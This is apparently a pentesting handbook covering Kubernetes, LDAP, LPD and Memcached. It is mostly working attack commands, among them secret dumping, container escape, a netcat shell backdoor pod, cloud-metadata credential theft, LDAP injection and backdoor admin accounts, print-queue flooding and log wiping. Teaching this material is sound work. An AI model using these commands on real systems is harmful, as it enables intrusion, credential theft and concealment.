Token Extraction

```
# Token location in pod
cat /var/run/secrets/kubernetes.io/serviceaccount/token
```

Using Extracted Tokens

```
# Use token to query API
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl https://kubernetes.default.svc/api/v1/namespaces \
  -H "Authorization: Bearer $TOKEN" \
  --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
```

Recon

Service Detection with Nmap

Use Nmap to identify exposed Kubernetes services and check for authentication requirements:

```
nmap -p 6443,8001,8080,10250,10255 -sV target.com
```

API Endpoint Discovery

```
# API server endpoints
curl https://target.com:6443 --insecure
```

```
curl https://target.com:6443/version --insecure
curl https://target.com:6443/api --insecure

# Kubelet endpoints (often less protected)
curl http://target.com:10250/pods --insecure
curl http://target.com:10255/pods --insecure  # Read-only port

# Dashboard
curl https://target.com:8001 --insecure
```

Version Detection

Identify Kubernetes version to determine applicable CVEs and security vulnerabilities:

```
# Using kubectl
kubectl version

# Using API
curl https://target.com:6443/version --insecure

# Kubelet version
curl http://target.com:10250/version --insecure
```

Enumeration

Namespace Enumeration

Namespaces organize resources in Kubernetes and often indicate different applications or environments.

List Namespaces

```
# List namespaces
kubectl get namespaces
kubectl get ns

# Using API
curl https://target.com:6443/api/v1/namespaces \
  -H "Authorization: Bearer TOKEN" --insecure
```

Interesting Namespaces

```
# Common interesting namespaces:
# - default
# - kube-system (system components)
```

```
# - kube-public (publicly readable)
# - production, staging, development
```

Pod Enumeration

Pods are the smallest deployable units in Kubernetes and run your containerized applications.

List Pods

```
# List pods in all namespaces
kubectl get pods --all-namespaces

# List pods in specific namespace
kubectl get pods -n kube-system

# Using API
curl https://target.com:6443/api/v1/pods \
  -H "Authorization: Bearer TOKEN" --insecure
```

Pod Analysis

```
# Detailed pod information
kubectl describe pod pod-name -n namespace

# Get pod YAML
kubectl get pod pod-name -n namespace -o yaml
```

Secret Enumeration

Secrets store sensitive information like passwords, tokens, and keys - prime targets for attackers.

List Secrets

```
# List secrets in all namespaces
kubectl get secrets --all-namespaces

# Get secret details
kubectl describe secret secret-name -n namespace

# Using API
curl https://target.com:6443/api/v1/namespaces/default/secrets \
  -H "Authorization: Bearer TOKEN" --insecure
```

Extract Secret Values

 # Extract secret value (base64 encoded)
kubectl get secret secret-name -n namespace -o yaml
kubectl get secret secret-name -n namespace -o jsonpath='{.data.password}' | base64 -d

ConfigMap Enumeration

ConfigMaps often contain configuration data including database connection strings and API endpoints.

List ConfigMaps

 # List ConfigMaps
kubectl get configmaps --all-namespaces

 # Get ConfigMap content
kubectl get configmap config-name -n namespace -o yaml

Search for Sensitive Data

 # Search for sensitive data
kubectl get configmaps --all-namespaces -o yaml | grep -i "password\|secret\|key"

Service Account Enumeration

Service accounts provide identity for processes running in pods and their permissions.

List Service Accounts

 # List service accounts
kubectl get serviceaccounts --all-namespaces

 # Get service account details
kubectl describe sa service-account-name -n namespace

 # Check service account token
kubectl get sa service-account-name -n namespace -o yaml

Check Permissions

 # List role bindings (permissions)
kubectl get rolebindings --all-namespaces
kubectl get clusterrolebindings

Node Enumeration

Nodes are the worker machines in Kubernetes - physical or virtual machines running containers.

List Nodes

```
# List nodes
kubectl get nodes

# Node details
kubectl describe node node-name

# Node OS and kernel
kubectl get nodes -o wide
```

Security Analysis

```
# Check for privileged nodes
kubectl get nodes -o yaml | grep -i "privileged\|security"
```

Attack Vectors

Unauthenticated Kubelet Access

The Kubelet API (port 10250) sometimes allows unauthenticated access to sensitive operations.

Test Kubelet Access

```
# Check if Kubelet is accessible without auth
curl https://target.com:10250/pods --insecure

# List running pods
curl https://target.com:10250/pods --insecure
```

Execute Commands

```
# Execute commands in container
curl https://target.com:10250/run/namespace/pod-name/container-name \
  -d "cmd=whoami" --insecure

# Using kubeletctl tool
kubeletctl --server target.com pods
kubeletctl --server target.com exec "whoami" -p pod-name -c container-name
```

Exposed Dashboard

Kubernetes Dashboard provides a web UI for managing clusters and often has weak authentication.

Access Dashboard

 # Access dashboard
http://target.com:8001/api/v1/namespaces/kubernetes-dashboard/services/https:kubernetes-dashboard:/proxy/

 # Try without authentication (skip login)
 # Some versions allow "Skip" button

Find Default Tokens

 # Default service account token
 # Look for default-token in kube-system namespace
kubectl get secrets -n kube-system | grep default-token

Service Account Token Abuse

If you're inside a pod, you can use the mounted service account token to access the Kubernetes API.

Locating the Token

Every pod has a service account token automatically mounted that can be used for API access:

 # From inside a compromised pod
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
APISERVER=https://kubernetes.default.svc

Using curl with Token

 # Check permissions
curl $APISERVER/api/v1/namespaces \
  -H "Authorization: Bearer $TOKEN" \
  --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt

 # List pods
curl $APISERVER/api/v1/pods \
  -H "Authorization: Bearer $TOKEN" \
  --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt

Using kubectl from Pod

```
kubectl --token=$TOKEN --certificate-
authority=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
  --server=$APISERVER get pods
```

Privileged Pod Creation

If you have permissions to create pods, you can create a privileged pod to escape to the host.

Create Privileged Pod

```
# Create privileged pod with host filesystem mounted
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: privileged-pod
spec:
  hostNetwork: true
  hostPID: true
  hostIPC: true
  containers:
  - name: privesc
    image: alpine
    securityContext:
      privileged: true
    volumeMounts:
    - name: host
      mountPath: /host
    command: ["/bin/sh"]
    args: ["-c", "while true; do sleep 3600; done"]
  volumes:
  - name: host
    hostPath:
      path: /
      type: Directory
EOF
```

Escape to Host

```
# Execute into the pod
kubectl exec -it privileged-pod -- /bin/sh

# Access host filesystem
chroot /host /bin/bash
```

```
# Now you have root on the host node!
```

etcd Direct Access

etcd stores all Kubernetes cluster data including secrets - direct access means complete compromise.

Access etcd

```
# Check if etcd is accessible
curl https://target.com:2379/version --insecure

# List keys (Kubernetes data)
ETCDCTL_API=3 etcdctl --endpoints=https://target.com:2379 \
  --insecure-skip-tls-verify \
  get / --prefix --keys-only
```

Extract Secrets

```
# Get secrets from etcd
ETCDCTL_API=3 etcdctl --endpoints=https://target.com:2379 \
  --insecure-skip-tls-verify \
  get /registry/secrets/default/secret-name
```

Post-Exploitation

Secret Extraction

Extracting all secrets from the cluster provides credentials for databases, APIs, and other services.

Extract All Secrets

```
# Extract all secrets
kubectl get secrets --all-namespaces -o yaml > all_secrets.yaml
```

Decode Secret Values

```
# Decode secrets
kubectl get secrets --all-namespaces -o json | \
  jq -r '.items[] | .metadata.namespace + "/" + .metadata.name + " " + (.data | to_entries[] | .key
+ ":" + .value)' | \
  while read line; do
    echo "$line" | sed 's/:\(.*\)$/: \1/' | \
    awk -F: '{print $1":"$2": " | "base64 -d"; system("echo " $3 " | base64 -d")}'
  done
```

```
# Search for specific patterns
kubectl get secrets --all-namespaces -o yaml | grep -i "password\|token\|key"
```

Container Escape

Once inside a pod, you can attempt various container escape techniques to break out to the host node.

Privileged Pod Escape

```
# Already shown in "Privileged Pod Creation" section above
# Create privileged pod with host filesystem mounted
# Then chroot to access host
```

hostPath Volume Mount

```
# Create pod with host path mounted
# Access /etc, /root, /var from host
# Modify system files for persistence
```

Docker Socket Escape

```
# Check for Docker socket
ls -la /var/run/docker.sock

# If present, use it
docker -H unix:///var/run/docker.sock ps
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host alpine nsenter -t 1 -m -u -n -i sh
```

Kernel Exploits

```
# Check kernel version
uname -r

# Search for exploits
searchsploit linux kernel $(uname -r)
```

Lateral Movement

Kubernetes provides multiple paths for lateral movement across the cluster.

Pod-to-Pod Movement

```
# List all pods across namespaces
kubectl get pods --all-namespaces

# Execute in other pods (if you have permissions)
kubectl exec -it pod-name -n namespace -- /bin/bash

# Create new pods in different namespaces
kubectl run attacker-pod --image=alpine -n production -- /bin/sh
```

Service Discovery

```
# Access services in other namespaces
# Services are DNS resolvable: service-name.namespace.svc.cluster.local
curl http://database-service.production.svc.cluster.local:3306
```

Persistence

Creating persistent backdoors in Kubernetes clusters.

Backdoor Pod Creation

```
# Method 1: Create backdoor pod with restart policy
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: system-monitor
  namespace: kube-system
spec:
  restartPolicy: Always
  containers:
  - name: backdoor
    image: alpine
    command: ["/bin/sh"]
    args: ["-c", "while true; do nc -lvp 4444 -e /bin/sh; done"]
  hostNetwork: true
EOF
```

Advanced Persistence Methods

```
# Method 2: Add SSH key via privileged pod
# Mount host /, add key to /root/.ssh/authorized_keys

# Method 3: Modify existing deployment
```

```
kubectl edit deployment deployment-name -n namespace
# Add malicious sidecar container

# Method 4: Create malicious admission webhook
# Intercepts all pod creations to inject backdoor
```

Cluster Compromise

Complete cluster takeover techniques.

Extract Cluster Credentials

```
# Extract cluster admin credentials
kubectl config view --raw > cluster_config.yaml

# Extract all service account tokens
for ns in $(kubectl get ns -o jsonpath='{.items[*].metadata.name}'); do
  echo "Namespace: $ns"
  kubectl get secrets -n $ns -o jsonpath='{range
.items[*]}{.metadata.name}{"\t"}{.data.token}{"\n"}{end}' | \
  while read name token; do
    echo "$name: $(echo $token | base64 -d)"
  done
done
```

Complete Cluster Takeover

```
# Get etcd encryption keys (if accessible)
kubectl get secrets -n kube-system | grep encryption

# Compromise nodes
# Create privileged pod on each node
# Execute host breakout
```

Cloud Provider Metadata

From pods, you can often access cloud provider metadata for credentials.

```
# AWS metadata (if in EKS)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Azure metadata (if in AKS)
curl -H Metadata:true "http://169.254.169.254/metadata/instance?api-version=2021-02-01"

# GCP metadata (if in GKE)
```

curl -H "Metadata-Flavor: Google"
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

Common kubectl Commands

Command	Description	Usage
kubectl get pods	List pods	kubectl get pods --all-namespaces
kubectl get secrets	List secrets	kubectl get secrets -n namespace
kubectl describe	Get details	kubectl describe pod pod-name
kubectl exec	Execute in pod	kubectl exec -it pod-name -- /bin/bash
kubectl logs	View logs	kubectl logs pod-name
kubectl apply	Create resource	kubectl apply -f file.yaml
kubectl delete	Delete resource	kubectl delete pod pod-name
kubectl port-forward	Port forward	kubectl port-forward pod-name 8080:80

Kubernetes RBAC Roles

Role	Permissions	Risk Level
cluster-admin	Full cluster access	Critical
admin	Namespace admin	High
edit	Read/write resources	Medium

Role	Permissions	Risk Level
view	Read-only access	Low
system:masters	Cluster admin group	Critical

Common Attack Scenarios

Scenario 1: Unauthenticated Kubelet

```
# Discovery
curl http://target.com:10250/pods --insecure

# Exploitation
kubeletctl --server target.com exec "cat /etc/shadow" -p pod-name -c container-name

# Post-exploitation
# Extract secrets, escalate to host
```

Scenario 2: Stolen Service Account Token

```
# Find token in compromised app
find / -name token 2>/dev/null

# Use token
export KUBECONFIG=/dev/null
kubectl --token=$(cat token) --server=https://api:6443 --insecure-skip-tls-verify get pods

# Escalate
kubectl --token=$(cat token) create -f privileged-pod.yaml
```

Scenario 3: Dashboard Access

```
# Access dashboard
http://target.com:8001/api/v1/namespaces/kubernetes-dashboard/services/https:kubernetes-dashboard:/proxy/

# Skip login (if allowed)
# Deploy malicious workload via UI
```

Useful Tools

Tool	Description	Primary Use Case
kubectl	Kubernetes CLI	Cluster management
kubeletctl	Kubelet exploitation	Kubelet API testing
kube-hunter	Security scanner	Vulnerability discovery
kubeaudit	Audit tool	Configuration assessment
kube-bench	CIS benchmark	Security hardening check
Peirates	Kubernetes pentesting	Post-exploitation
kubiscan	RBAC scanner	Permission analysis

Security Misconfigurations

- ❌ Unauthenticated Kubelet API (port 10250/10255)
- ❌ Anonymous auth enabled on API server
- ❌ Dashboard exposed without authentication
- ❌ Overly permissive RBAC (cluster-admin everywhere)
- ❌ Default service account tokens with excessive permissions
- ❌ Secrets not encrypted at rest
- ❌ No network policies (flat network)
- ❌ Privileged pods allowed
- ❌ hostPath volumes allowed
- ❌ hostNetwork/hostPID enabled
- ❌ No pod security policies/admission controllers
- ❌ etcd exposed or unencrypted

- ❌ API server exposed to internet
- ❌ No audit logging enabled

CVE Exploits

CVE	Description	Impact
CVE-2018-1002105	Privilege escalation via API	Critical RCE
CVE-2019-11247	API server directory traversal	Data disclosure
CVE-2019-11249	Incomplete kubectl cp fix	Arbitrary file write
CVE-2020-8558	Node localhost services exposure	SSRF
CVE-2021-25741	Symlink exchange vulnerability	Path traversal

18.) LDAP (Lightweight Directory Access Protocol)

Default Ports: 389 (LDAP), 636 (LDAPS), 3268 (Global Catalog)

Lightweight Directory Access Protocol (LDAP) is an open, vendor-neutral, industry standard application protocol for accessing and maintaining distributed directory information services over an IP network. LDAP is commonly used for user authentication, authorization, and storing organizational information. Microsoft's Active Directory is built on LDAP. LDAP directories store information hierarchically in a tree structure.

Connect

Using ldapsearch

Use ldapsearch for querying LDAP directories and extracting information.

Basic LDAP Queries

```
# Anonymous bind (no authentication)
ldapsearch -x -H ldap://target.com -b "dc=example,dc=com"

# With credentials
ldapsearch -x -H ldap://target.com -D "cn=admin,dc=example,dc=com" -w password -b "dc=example,dc=com"

# LDAPS (SSL/TLS)
ldapsearch -x -H ldaps://target.com:636 -D "cn=admin,dc=example,dc=com" -w password -b "dc=example,dc=com"
```

Advanced LDAP Searches

```
# Search specific object class
ldapsearch -x -H ldap://target.com -b "dc=example,dc=com" "(objectClass=person)"

# Get all attributes
ldapsearch -x -H ldap://target.com -b "dc=example,dc=com" "*"
```

Using ldapwhoami

Use ldapwhoami to test LDAP authentication and identify current user context.

```
# Test authentication
ldapwhoami -x -H ldap://target.com -D "cn=admin,dc=example,dc=com" -w password

# Anonymous bind
ldapwhoami -x -H ldap://target.com
```

Using ldapadd/ldapmodify

Use LDAP modification tools to add, modify, and delete directory entries.

```
# Add new entry
ldapadd -x -H ldap://target.com -D "cn=admin,dc=example,dc=com" -w password -f new_entry.ldif

# Modify entry
ldapmodify -x -H ldap://target.com -D "cn=admin,dc=example,dc=com" -w password -f modify.ldif

# Delete entry
ldapdelete -x -H ldap://target.com -D "cn=admin,dc=example,dc=com" -w password "cn=user,ou=users,dc=example,dc=com"
```

Using Python (ldap3)

Use Python ldap3 library for programmatic LDAP access and automation.

```
from ldap3 import Server, Connection, ALL

server = Server('target.com', get_info=ALL)
conn = Connection(server, 'cn=admin,dc=example,dc=com', 'password', auto_bind=True)

# Search
conn.search('dc=example,dc=com', '(objectClass=person)')
for entry in conn.entries:
    print(entry)

conn.unbind()
```

Recon

Service Detection with Nmap

Use Nmap to detect LDAP services and identify server capabilities.

```
nmap -p 389,636,3268 target.com
```

Banner Grabbing

Identify LDAP server software and version through banner grabbing.

Using netcat

```
# Using netcat
nc -vn target.com 389
```

Using nmap

```
# Using nmap
nmap -p 389 -sV --script ldap-rootdse target.com
```

Using ldapsearch

```
# Get root DSE
ldapsearch -x -H ldap://target.com -b "" -s base "(objectclass=*)"
```

Rootdse Information

Extract detailed server information from LDAP root DSE.

Basic Root DSE Queries

```
# Get naming contexts
ldapsearch -x -H ldap://target.com -b "" -s base "(objectclass=*)" namingContexts

# Get all rootDSE attributes
ldapsearch -x -H ldap://target.com -b "" -s base "(objectclass=*)" "*" "+"
```

Important Root DSE Attributes

```
# Important attributes to check:
# - namingContexts (base DNs)
# - defaultNamingContext (primary domain)
# - supportedLDAPVersion
# - supportedSASLMechanisms
# - dnsHostName
```

Enumeration

Domain Information

Querying domain objects reveals organizational structure, forest information, and domain functional levels.

```
# Get domain info
ldapsearch -x -H ldap://target.com -b "dc=example,dc=com" "(objectClass=domain)"

# Get naming contexts
```

```
ldapsearch -x -H ldap://target.com -b "" -s base namingContexts

# Forest information
ldapsearch -x -H ldap://target.com -b "" -s base forestFunctionality
```

User Enumeration

LDAP directories contain detailed user information including email addresses, phone numbers, group memberships, and account status.

Basic User Queries

```
# List all users
ldapsearch -x -H ldap://target.com -b "dc=example,dc=com" "(objectClass=person)"

# Users with specific attributes
ldapsearch -x -H ldap://target.com -b "dc=example,dc=com" "(objectClass=user)" cn mail

# Active Directory users
ldapsearch -x -H ldap://target.com -b "dc=example,dc=com" "(objectClass=user)"
sAMAccountName
```

Advanced User Queries

```
# Users with passwords never expire
ldapsearch -x -H ldap://target.com -b "dc=example,dc=com"
"(userAccountControl:1.2.840.113556.1.4.803:=65536)"

# Service accounts
ldapsearch -x -H ldap://target.com -b "dc=example,dc=com"
"(&(objectClass=user)(servicePrincipalName=*))"
```

Group Enumeration

Group information reveals organizational structure and helps identify privileged users like Domain Admins.

```
# List all groups
ldapsearch -x -H ldap://target.com -b "dc=example,dc=com" "(objectClass=group)" cn

# Domain Admins
ldapsearch -x -H ldap://target.com -b "dc=example,dc=com" "(cn=Domain Admins)" member

# All admin groups
ldapsearch -x -H ldap://target.com -b "dc=example,dc=com"
```

"(&(objectClass=group)(cn=*admin*))" cn member

 # Group members
ldapsearch -x -H ldap://target.com -b "dc=example,dc=com" "(cn=Administrators)" member

Computer Enumeration

Enumerate computer objects and domain controllers in the LDAP directory.

 # List computers
ldapsearch -x -H ldap://target.com -b "dc=example,dc=com" "(objectClass=computer)" cn

 # Domain controllers
ldapsearch -x -H ldap://target.com -b "dc=example,dc=com"
"(userAccountControl:1.2.840.113556.1.4.803:=8192)" dNSHostName

 # Operating systems
ldapsearch -x -H ldap://target.com -b "dc=example,dc=com" "(objectClass=computer)"
operatingSystem operatingSystemVersion

Attribute Enumeration

Extract specific attributes that may contain sensitive information or useful data.

Contact Information Extraction

 # Extract email addresses
ldapsearch -x -H ldap://target.com -b "dc=example,dc=com" "(mail=*)" mail

 # Extract phone numbers
ldapsearch -x -H ldap://target.com -b "dc=example,dc=com" "(telephoneNumber=*)"
telephoneNumber

Sensitive Attribute Queries

 # User descriptions (may contain passwords)
ldapsearch -x -H ldap://target.com -b "dc=example,dc=com" "(description=*)" description

 # Service Principal Names (SPNs)
ldapsearch -x -H ldap://target.com -b "dc=example,dc=com" "(servicePrincipalName=*)"
servicePrincipalName

Attack Vectors

Anonymous Bind

Anonymous bind allows unauthenticated access to LDAP directories, potentially exposing sensitive organizational information.

```
# Test anonymous access
ldapsearch -x -H ldap://target.com -b "dc=example,dc=com" "(objectClass=*)"

# If successful, enumerate everything
ldapsearch -x -H ldap://target.com -b "dc=example,dc=com" "(objectClass=user)"
ldapsearch -x -H ldap://target.com -b "dc=example,dc=com" "(objectClass=group)"
```

Null Bind

Null bind attempts to authenticate with empty credentials, which may still reveal directory information.

```
# Bind with empty credentials
ldapsearch -x -H ldap://target.com -D "" -w "" -b "dc=example,dc=com"

# May reveal information even with null credentials
```

LDAP Injection

LDAP injection attacks manipulate LDAP queries to bypass authentication or extract unauthorized information.

Basic Injection Payloads

```
# In login forms using LDAP
# Normal query: (&(uid=username)(password=pass))

# Injection payloads
username: admin)(&(|
password: any

# Results in: (&(uid=admin)(&(|)(password=any))
# Always true condition
```

Advanced Injection Techniques

```
# Wildcard injection
username: *
password: *

# OR injection
username: *)(uid=*))(|(uid=*
```

password: any

 # Comment injection
username: admin)(cn=*))%00
password: any

Brute Force

Brute forcing LDAP credentials can reveal weak passwords on directory services.

Using Hydra

hydra -L users.txt -P passwords.txt target.com ldap2 -s 389

Using Nmap

nmap -p 389 --script ldap-brute --script-args ldap.base='"dc=example,dc=com"' target.com

Using Metasploit

use auxiliary/scanner/ldap/ldap_login
set RHOSTS target.com
set USERNAME admin
set PASS_FILE passwords.txt
run

Pass-Back Attack

Pass-back attacks redirect LDAP authentication to attacker-controlled servers to capture credentials.

 # If you can modify LDAP server settings
 # Change LDAP server IP to attacker's server

 # Setup rogue LDAP server
sudo responder -I eth0

 # Or use simple LDAP logger
sudo nc -lvnp 389

 # Device will send credentials to attacker's server

Post-Exploitation

Extract All Users

Extract comprehensive user information for analysis and further exploitation.

Complete User Dump

```
# Complete user dump with all attributes
ldapsearch -x -H ldap://target.com \
  -D "cn=admin,dc=example,dc=com" -w password \
  -b "dc=example,dc=com" \
  "(objectClass=user)" \
  "*" "+" > all_users.ldif

# Parse for passwords in description
grep -i "description:" all_users.ldif | grep -i "pass\|pwd"
```

Targeted User Extraction

```
# Extract specific attributes
ldapsearch -x -H ldap://target.com \
  -D "cn=admin,dc=example,dc=com" -w password \
  -b "dc=example,dc=com" \
  "(objectClass=user)" \
  sAMAccountName mail userAccountControl
```

Kerberoasting Targets

Identify service accounts with SPNs for Kerberoasting attacks.

```
# Find SPNs (Service Principal Names)
ldapsearch -x -H ldap://target.com \
  -D "cn=admin,dc=example,dc=com" -w password \
  -b "dc=example,dc=com" \
  "(&(objectClass=user)(servicePrincipalName=*))" \
  sAMAccountName servicePrincipalName

# Request service tickets
# Then crack offline with hashcat
```

ASREPRoasting Targets

Identify users vulnerable to ASREPRoasting attacks.

```
# Find users with "Do not require Kerberos preauthentication"
ldapsearch -x -H ldap://target.com \
  -D "cn=admin,dc=example,dc=com" -w password \
  -b "dc=example,dc=com" \
```

```
  "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" \
  sAMAccountName
```

Sensitive Attribute Extraction

Search for sensitive information stored in user attributes.

Password Hunting

```
# Look for passwords in attributes
ldapsearch -x -H ldap://target.com \
  -D "cn=admin,dc=example,dc=com" -w password \
  -b "dc=example,dc=com" \
  "(description=*)" description | grep -i "pass\|pwd\|secret"
```

Additional Attribute Searches

```
# Check info field
ldapsearch -x -H ldap://target.com -b "dc=example,dc=com" "(info=*)" info

# Comment field
ldapsearch -x -H ldap://target.com -b "dc=example,dc=com" "(comment=*)" comment
```

Privilege Escalation

Escalate privileges by modifying group memberships and user permissions.

```
# Add user to admin group
cat > add_admin.ldif << EOF
dn: cn=Domain Admins,cn=Users,dc=example,dc=com
changetype: modify
add: member
member: cn=backdoor_user,cn=Users,dc=example,dc=com
EOF

ldapmodify -x -H ldap://target.com \
  -D "cn=admin,dc=example,dc=com" -w password \
  -f add_admin.ldif
```

Persistence

Establish persistent access by creating backdoor accounts and maintaining access.

```
# Create backdoor user
cat > backdoor.ldif << EOF
```

```
dn: cn=System Service,cn=Users,dc=example,dc=com
changetype: add
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: System Service
sAMAccountName: svc_system
userPrincipalName: svc_system@example.com
userPassword: P@ssw0rd123!
EOF

ldapadd -x -H ldap://target.com \
  -D "cn=admin,dc=example,dc=com" -w password \
  -f backdoor.ldif

# Add to Domain Admins (as shown above)
```

Common LDAP Queries

```
# All users
(objectClass=user)

# All groups
(objectClass=group)

# All computers
(objectClass=computer)

# Domain Admins
(cn=Domain Admins)

# Users with SPNs
(&(objectClass=user)(servicePrincipalName=*))

# Disabled accounts
(userAccountControl:1.2.840.113556.1.4.803:=2)

# Accounts that never expire
(userAccountControl:1.2.840.113556.1.4.803:=65536)

# Locked accounts
```

(lockoutTime>=1)

LDAP Filter Examples

 # AND operator
(&(objectClass=user)(cn=admin))

 # OR operator
(|(cn=admin)(cn=user))

 # NOT operator
(!(cn=guest))

 # Wildcard
(cn=admin*)
(cn=*admin*)

 # Present
(mail=*)

 # Greater than
(badPwdCount>=3)

Useful Tools

Tool	Description	Primary Use Case
ldapsearch	LDAP search tool	Querying LDAP
ldapmodify	LDAP modification tool	Modifying entries
JXplorer	LDAP GUI browser	Visual exploration
Apache Directory Studio	LDAP IDE	Complete management
ldapdomaindump	AD info dumper	Domain enumeration
windapsearch	AD enumeration	PowerShell-less enum

Tool	Description	Primary Use Case
enum4linux	SMB/LDAP enumerator	Linux-based enum
Metasploit	Exploitation framework	Automated testing

Security Misconfigurations

- ❌ Anonymous bind allowed
- ❌ Null bind permitted
- ❌ Weak admin passwords
- ❌ LDAP injection vulnerabilities
- ❌ No SSL/TLS (using port 389)
- ❌ Excessive permissions granted
- ❌ Sensitive data in attributes
- ❌ No access controls
- ❌ Verbose error messages
- ❌ Default configurations
- ❌ No logging enabled
- ❌ Outdated LDAP server

19.) LPD Pentesting

Default Port: 515

LPD (Line Printer Daemon), is a protocol used to manage and process print jobs on Unix-based systems. While it is primarily used for printing purposes, it can sometimes be misconfigured, allowing for potential security vulnerabilities. In this article, we will explore pentesting techniques for LPD, categorized under the following headings: Connect, Recon, Enumeration, Attack Vectors, and Post-Exploitation.

Connect

Connecting to an LPD Service

To begin pentesting LPD services, you need to connect to the LPD port (default port 515). You can use tools like telnet or Netcat to manually interact with the service:

nc <target-ip> 515

Alternatively, you can use lpq (line printer queue) to retrieve the status of the print queue:

lpq -P <printer-name> -h <target-ip>

This command allows you to interact with the printer daemon to check for active print jobs on a remote host.

Executing Print Jobs

lpr -P <printer-name> -h <target-ip> <file-to-print>

This sends the specified file to the printer for printing. Misconfigured LPD services may allow unauthorized users to send jobs, filling up the print queue or accessing printed documents.

Recon

Identifying an LPD Service

You can use Nmap to identify if an LPD service is running on the target system:

nmap -p 515 <target-ip>

This command checks if port 515 is open, which is the default port for the LPD service.

Banner Grabbing

To collect more detailed information about the LPD service, you can use Netcat to perform banner grabbing:

nc -nv <target-ip> 515

This retrieves the initial response from the LPD service, which can contain useful information about the server version and configuration.

Fingerprinting the LPD Version

Once you have identified the LPD service, you can attempt to fingerprint its version. Some LPD services may return detailed version information that could reveal known vulnerabilities. Tools like nmap -sV can help:

nmap -sV -p 515 <target-ip>

Enumeration

Checking for Open Ports

To gather more information about the target system, you can perform a full port scan to see what other services might be running:

nmap -sS -p- <target-ip>

This command checks all open ports on the target system, which could provide additional attack vectors.

Collecting Print Queue Information

You can retrieve the list of print jobs currently in the queue using the lpq command:

lpq -P <printer-name> -h <target-ip>

If the LPD service is misconfigured, this command may reveal sensitive information about users or documents currently in the print queue.

Verifying Access Control

Some LPD services use /etc/hosts.lpd or similar files to define which hosts are allowed to connect. If this file is not properly configured, unauthorized access may be possible. You can test access by trying to send print jobs or retrieve print queue information.

Attack Vectors

Exploiting Weak Authentication

LPD services may rely on weak or outdated authentication mechanisms. If /etc/hosts.lpd is misconfigured (for example, allowing any host), you could potentially exploit this by sending print jobs or retrieving sensitive documents without needing valid credentials.

Denial of Service (DoS) Attacks

One attack vector is to overwhelm the LPD service by sending numerous print jobs, which could fill up the queue and potentially cause a Denial of Service (DoS). You can use a script to send multiple print jobs quickly:

```
for i in {1..1000}; do
  lpr -P <printer-name> -h <target-ip> <file-to-print>;
done
```

This can flood the service, making it unusable for legitimate users.

Unauthorized File Access

In some cases, LPD misconfigurations might allow access to print jobs from other users. For example, you could retrieve the contents of a printed document from the queue, which may contain sensitive information:

lpq -P <printer-name> -h <target-ip>

Exploiting Buffer Overflows

Older versions of the LPD service may be vulnerable to buffer overflow exploits. By sending specially crafted data, you could potentially crash the service or execute arbitrary code. Tools like Metasploit can be used to check for known vulnerabilities in specific LPD versions.

Post-Exploitation

Privilege Escalation

Once access is gained through the LPD service, look for opportunities to escalate privileges. For example, you can search for writable or executable directories owned by root:

find / -perm -4000 -type f 2>/dev/null

This command lists SUID binaries, which could be exploited for privilege escalation.

Extracting Sensitive Information

After gaining access, it’s essential to gather as much information as possible. For instance, you can search for files related to print jobs:

```
rsh <target-ip> -l <username> find /var/spool -type f
```

This can reveal information about current or past print jobs, potentially exposing confidential data.

Maintaining Persistence

To maintain persistent access to the compromised system, you can modify configuration files to allow ongoing unauthorized access. For instance, you can add your machine's IP to the /etc/hosts.lpd file, allowing continuous access to the LPD service:

```
echo "attacker-ip" >> /etc/hosts.lpd
```

This entry ensures that the attacker's IP is trusted by the LPD service.

Covering Tracks

To avoid detection, it is crucial to cover your tracks by deleting any logs or job history files. You can clear logs related to LPD activities using commands like:

```
rsh <target-ip> -l <username> echo "" > /var/log/lpd-errs
rsh <target-ip> -l <username> rm /var/spool/lpd/*
```

These commands help to eliminate traces of your activities on the system.

By following these LPD pentesting steps, you can systematically identify vulnerabilities, exploit misconfigurations, and assess the security posture of LPD services. Always ensure you have the necessary permissions to conduct such tests in a legal and ethical manner.

20.) Memcached

Default Port: 11211

Memcached is a high-performance, distributed memory caching system designed to speed up dynamic web applications by alleviating database load. It stores data in RAM as key-value pairs for quick retrieval. While primarily used for caching, memcached can store session data, API responses, and other temporary information. Misconfigured memcached instances can expose sensitive data and be exploited for denial of service or data manipulation.

Connect

Using telnet

You can use telnet to connect to memcached and send commands directly to manage cached data:

```
# Connect to memcached
telnet target.com 11211

# Basic commands
stats
stats items
stats slabs
get key_name
quit
```

Using netcat

```
# Connect with netcat
nc target.com 11211

# Send commands
echo "stats" | nc target.com 11211
echo "version" | nc target.com 11211
```

Using memcached Client (Python)

```
import memcache

# Connect to memcached
mc = memcache.Client(['target.com:11211'])

# Get value
value = mc.get('key')
print(value)
```

```
# Set value
mc.set('key', 'value')

# Get stats
stats = mc.get_stats()
print(stats)
```

Recon

Service Detection with Nmap

Use Nmap to detect memcached services and check if they're exposed without authentication.

```
nmap -p 11211 target.com
```

Banner Grabbing

Identify memcached server version and gather configuration details.

Using netcat

```
# Using netcat
echo "version" | nc target.com 11211
```

Using telnet

```
# Using telnet
telnet target.com 11211
version
```

Using nmap

```
# Using nmap
nmap -p 11211 -sV target.com
```

Enumeration

Statistics Gathering

Memcached provides detailed statistics through various commands that can reveal system information, cache usage, and stored key patterns.

```
# Get general stats
echo "stats" | nc target.com 11211
```

```
# Get item stats (shows slabs with data)
echo "stats items" | nc target.com 11211

# Get slab stats
echo "stats slabs" | nc target.com 11211

# Get settings
echo "stats settings" | nc target.com 11211

# Get sizes
echo "stats sizes" | nc target.com 11211
```

Key Enumeration

Extracting cached keys allows you to identify and retrieve sensitive data stored in memcached.

Manual Key Extraction

```
# List slabs with items
echo "stats items" | nc target.com 11211

# Dump keys from slab (e.g., slab 1, limit 100)
echo "stats cachedump 1 100" | nc target.com 11211

# Get specific key
echo "get key_name" | nc target.com 11211
```

